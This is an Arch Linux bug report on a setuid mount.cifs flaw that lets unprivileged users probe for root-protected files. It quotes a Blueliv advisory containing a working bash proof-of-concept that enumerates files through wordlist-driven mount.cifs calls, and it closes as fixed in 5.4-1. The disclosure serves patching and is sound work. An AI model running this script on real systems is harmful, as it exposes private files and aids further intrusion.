FS#29176 - [cifs-utils] mount.cifs, setuied by default on archlinux, is prone to a privileged arbitrary chdir()

Attached to Project: Arch Linux
Opened by jolmos (sha0) - Thursday, 29 March 2012, 17:21 GMT
Last edited by Tobias Powalowski (tpowa) - Tuesday, 08 May 2012, 14:33 GMT
Task Type Bug Report
Category Packages: Extra
Status Closed
Assigned To Tobias Powalowski (tpowa)
Architecture All
Severity Medium
Priority Normal
Reported Version
Due in Version Undecided
Due Date Undecided
Percent Complete 100%
Votes 0
Private No

Details

Description:

mount.cifs, setuied by default on archlinux, is prone to a privileged arbitrary chdir()
samba cifs team, said that the vulenrability is not trivial to solve and maybe the safest way is not to setuid by default.

https://bugzilla.samba.org/show_bug.cgi?id=8821


Steps to reproduce:

mount.cifs //anything/anything /root/file_to_check

The responses will be diferent if exists the file, than if doesn't exists, and if is a directory or a file.
The attacker could enuemrate files, descriptors, and so on as root.

Advisory:


########## Blueliv Advisory 2012-004 ##########
- Discovered by: Jesus Olmos Gonzalez at Blueliv
- Risk: 5/5
- Impact: 1/5
###############################################

1. VULNERABILITY
-------------------------
linux privileged and arbitrary chdir(),
this leads to an arbitary file identification as root.

2. BACKGROUND
-------------------------
mount.cifs (GNU Software) is part of linux base system, and is setuided on
most of the distributions (archlinux, debian, ubuntu, ...)

This software mounts cifs partition to directories authorized by fstab.



3. DESCRIPTION
-------------------------
Althow there is not authorized cifs mounts, is possible by the second parameter
to control a privileged chdir() syscall and infer the return value throught
the responses.

This implies, a little security breach on linux permissions. A non root user
can enumerate files and directories as root.

This can help to exploit another vulnerabilities, enumerate /root/ contents,
descriptors used by any process, user homes, etc ...

one of the attack vectors is /root/ directory scan:

[sha0@spinlock advs]$ ./root_eye.sh wordlist /root/
--- directories ---
.pulse1
.bash_history
.alsaplayer
.dbus
.mozilla
.VirtualBox
.vim
.links
.config
.cpan
.gnome2
--- files ---
.pulse-cookie
.keystore
.bash_profile
dead.letter
.mysql_history
.Xauthority
.vimrc
.viminfo
secret

Also let to enumerate sub-sub directories in order to dump readable files.




4. PROOF OF CONCEPT
-------------------------
#!/bin/bash
# root enumerator 0day by jesus.olmos@blueliv.com @sha0coder
# discover root protected files & directories, user homes, process descriptors, ...

path=$2
wordlist=$1

for i in `cat $wordlist`
do

echo -n "$i:"

/sbin/mount.cifs //127.0.0.1/a $path/$i

done 2>log.$$ 1>&2

echo --- directories ---
for i in `grep 'denied' log.$$ | cut -d ':' -f 1`
do
echo $i
done

echo --- files ---
for i in `grep -i 'not a directory' log.$$ | cut -d ':' -f 1`
do
echo $i
done

rm log.$$



5. BUSINESS IMPACT
-------------------------
May involve issues of confidentiality.


6. SYSTEMS AFFECTED
-------------------------
all versions are affected.

7. SOLUTION
-------------------------
Don't setuid mount.cifs, or wait for the patch.

8. REFERENCES
-------------------------
http://bugzilla.samba.org/show_bug.cgi?id=8800
http://gnu.org


9. CREDITS
-------------------------
Jesus Olmos Gonzalez jesus.olmos@blueliv.com @sha0coder
http://blueliv.com

10. DISCOLSURE TIMELINE
-------------------------
February 20, 2012: Vulnerability discovered
March 07, 2012: Reported to the vendor, through bugzilla.
March 13, 2012: No vendor response.
March 21, 2012: Reported again to vendor.
March 27, 2012: Vendor response, studying the best way to fix it, but they recommend not to setuid by default.



11. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Blueliv accepts no responsibility for any damage
caused by the use or misuse of this information.
This task depends upon

Closed by  Tobias Powalowski (tpowa)
Tuesday, 08 May 2012, 14:33 GMT
Reason for closing:  Fixed
Additional comments about closing:  5.4-1
Comment by Dave Reisner (falconindy) - Friday, 30 March 2012, 01:42 GMT
Yes and they also point out, as will I, that this will cause regressions -- users will not be able to use the user,users mount option for cifs mounts in fstab/
Comment by Tobias Powalowski (tpowa) - Friday, 30 March 2012, 06:36 GMT
exactly this is the reason for setting it suid.
Comment by Allan McRae (Allan) - Saturday, 28 April 2012, 10:24 GMT
patch available in upstream bug report.

Loading...